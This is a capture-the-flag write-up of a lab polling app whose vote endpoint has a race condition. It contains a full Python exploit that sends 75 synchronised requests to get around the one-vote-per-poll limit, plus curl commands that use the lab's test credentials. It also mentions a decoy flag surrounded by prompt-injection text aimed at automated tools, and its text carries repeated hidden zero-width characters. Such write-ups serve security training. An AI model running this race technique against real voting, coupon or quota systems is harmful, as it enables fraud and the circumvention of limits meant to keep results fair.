← Back to Writeups
CUSTOMMediumWeb

Lab 174 — CrowdPulse — Race Condition in Vote Submission

XESXOR9/10/20266 min read
#web#custom#medium#connection_pre_warming#poll_creation_for_clean_race#race_condition_exploitation#session_cookie_sharing#thread_barrier_synchronization#toctou_vote_bypass#linux

Lab 174 — CrowdPulse — Race Condition in Vote Submission

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-14 | Status: Solved Techniques: connection_pre_warming, poll_creation_for_clean_race, race_condition_exploitation, session_cookie_sharing, thread_barrier_synchronization, toctou_vote_bypass

Summary

Task: Polling platform enforces one vote per user per poll, but a 'Super Voter' badge requires 10+ votes on a single poll. Solution: Exploited a TOCTOU race condition in the vote endpoint by firing 75 synchronized concurrent requests via threading.Barrier with pre-warmed connections, landing 10 votes through the race window, then claimed the reward.

Lab 174 — CrowdPulse — Race Condition in Vote Submission — HackAdvisor

Description

CrowdPulse is a real-time polling and audience engagement platform used by organizations for decision-making, feedback collection, and community voting. The platform features live polls with instant results, detailed analytics dashboards, and a gamified rewards system for active participants. Each user is strictly limited to one vote per poll to ensure fair and trustworthy results. The Rewards Center tracks engagement badges including a mysterious "Super Voter" achievement that requires casting 10+ votes on a single poll — something that should be impossible under normal operation. Your goal is to find and exploit a vulnerability in the platform to unlock the Super Voter achievement and obtain the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A polling platform where each user can only vote once per poll. The Rewards Center has a "Super Voter" badge requiring 10+ votes on a single poll — impossible under normal operation. The goal is to exploit a race condition in the vote endpoint to bypass the one-vote limit and claim the badge.

Analysis

Reconnaissance

  • Stack: Express.js + nginx/1.25.5 (X-Powered-By: Express)
  • Credentials: user@test.com / password123
  • Auth: Session-based with connect.sid cookie via POST /api/auth/login (form-encoded)
  • Key pages: /polls (browse 8 existing polls), /polls/create (create new poll), /rewards (rewards center with badges) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Application Features

The platform has four engagement badges in the Rewards Center:

  1. First Vote — cast your first vote
  2. Poll Creator — create a poll
  3. Active Voter — vote on 5+ different polls
  4. Super Voter — cast 10+ votes on a single poll (the target)

The Super Voter badge has a "Claim Reward" button that calls POST /api/rewards/claim. The server checks whether the user has actually achieved 10+ votes on any single poll before granting the reward.

Key API Endpoints

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

MethodEndpointBodyDescription
POST/api/auth/loginemail=...&password=... (form)Login, returns connect.sid
POST/api/polls{"title","description","category","options"}Create a new poll
GET/polls/{id}—View poll page with vote form
POST/api/polls/{id}/vote{"optionId": N}Submit a vote
POST/api/rewards/claim{}Claim Super Voter reward

Vulnerability: TOCTOU Race Condition

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The vote endpoint POST /api/polls/{pollId}/vote implements a classic TOCTOU (Time-of-Check to Time-of-Use) race condition with a non-atomic check-then-update pattern:

  1. CHECK: Server queries the database to verify if the user has already voted on this poll
  2. RECORD: If the check passes, the vote is recorded in the database
  3. UPDATE: User's vote status is marked as "voted" for this poll

Between steps 1 and 3, there is a race window where multiple concurrent requests can all pass the check before any of them marks the user as having voted. A single sequential duplicate vote correctly returns {"error":"You have already voted on this poll"} (HTTP 400), but concurrent requests slip through. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The challenge is that the race window is narrow — only a fraction of concurrent requests succeed. The goal is to get at least 10 through.

Solution

Step 1: Login and Create a Fresh Poll

Login with the provided credentials and create a new poll to ensure a clean state (no prior votes that might affect the race):

bash
# Login
curl -c cookies.txt -X POST "$BASE/api/auth/login" \
  -d "email=user@test.com&password=password123"

# Create poll
curl -b cookies.txt -X POST "$BASE/api/polls" \
  -H "Content-Type: application/json" \
  -d '{"title":"Race Test","description":"Test","category":"Tech","options":["Alpha","Beta","Gamma"]}'
# Returns: {"success":true,"pollId":9}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Fetch the poll page to extract option IDs from the HTML form (name="optionId" value="32").

Step 2: Race Condition Attack

The key to a successful race is maximizing concurrency so all requests hit the server's check phase simultaneously. The exploit uses three optimizations:

  1. Pre-created sessions: 75 requests.Session objects sharing the same connect.sid cookie
  2. Connection pre-warming: Each session sends a HEAD request to establish the TCP/TLS connection before the race
  3. threading.Barrier(75): All 75 threads synchronize at a barrier and release simultaneously ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
python
#!/usr/bin/env python3
"""CrowdPulse Race Condition Exploit"""
import requests
import threading
import re

BASE_URL = "https://29673928-e69e-4a95-b689-e5b92ce3feb8.labs.hackadvisor.io"
NUM_THREADS = 75

# Login
session = requests.Session()
session.post(f"{BASE_URL}/api/auth/login", data={
    "email": "user@test.com",
    "password": "password123"
})
cookies = dict(session.cookies)

# Create a fresh poll
create_resp = session.post(f"{BASE_URL}/api/polls", json={
    "title": "Race Test Poll",
    "description": "Testing concurrent voting",
    "category": "Tech",
    "options": ["Alpha", "Beta", "Gamma"]
})
poll_data = create_resp.json()
POLL_ID = poll_data["pollId"]
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Get option IDs from the poll page HTML
poll_page = session.get(f"{BASE_URL}/polls/{POLL_ID}")
option_ids = re.findall(r'name="optionId" value="(\d+)"', poll_page.text)
OPTION_ID = int(option_ids[0])

# Pre-create sessions and warm up TCP connections
barrier = threading.Barrier(NUM_THREADS, timeout=30)
results = []
lock = threading.Lock()

sessions = []
for i in range(NUM_THREADS):
    s = requests.Session()
    s.cookies.update(cookies)
    sessions.append(s)

def warmup(idx):
    try:
        sessions[idx].head(f"{BASE_URL}/polls", timeout=10)
    except:
        pass
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

warmup_threads = [threading.Thread(target=warmup, args=(i,)) for i in range(NUM_THREADS)]
for t in warmup_threads:
    t.start()
for t in warmup_threads:
    t.join(timeout=15)

# Race attack — all threads fire simultaneously
def attack_thread(idx):
    try:
        barrier.wait()  # Synchronize all threads
        resp = sessions[idx].post(
            f"{BASE_URL}/api/polls/{POLL_ID}/vote",
            json={"optionId": OPTION_ID},
            timeout=30
        )
        with lock:
            results.append(resp.status_code == 200 and "success" in resp.text.lower())
    except:
        pass
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

threads = [threading.Thread(target=attack_thread, args=(i,)) for i in range(NUM_THREADS)]
for t in threads:
    t.start()
for t in threads:
    t.join(timeout=60)

successes = sum(1 for r in results if r)
print(f"Successful votes: {successes}")  # 10 out of 75

# Claim the Super Voter reward
claim_resp = session.post(f"{BASE_URL}/api/rewards/claim", json={})
print(f"Claim: {claim_resp.text}")

Result: 10 out of 75 concurrent requests passed the vote check and were recorded, meeting the Super Voter threshold. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Claim the Reward

bash
curl -b cookies.txt -X POST "$BASE/api/rewards/claim" \
  -H "Content-Type: application/json" -d '{}'

Response:

json
{
  "success": true,
  "message": "Congratulations! You unlocked the Super Voter achievement!",
  "reward": "FLAG{REDACTED}"
}

Iteration and Failed Attempts

Getting exactly 10+ votes through the race window required tuning:

AttemptStrategyPollResult
150 threads, existing poll#58 votes (not enough)
2100 threads, existing poll#38 votes
3200 threads, existing poll#78 votes
4200 async (aiohttp)#89 votes (close!)
5300 async requests#26 votes (too fast, rate-limited)
675 threads, pre-warmed, fresh poll#910 votes ✓
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key insights:

  • More threads ≠ more successes: Beyond ~100 threads, the server's connection handling introduces delays that actually widen the gap between requests
  • Pre-warming connections eliminates TCP/TLS handshake variance, giving a tighter race window
  • Fresh poll ensures no prior vote state that might cause early rejection
  • threading.Barrier provides tighter synchronization than asyncio for this use case

Decoy Flag

Every page contained FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden divs, surrounded by prompt injection text attempting to trick automated tools. This was identified and ignored. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍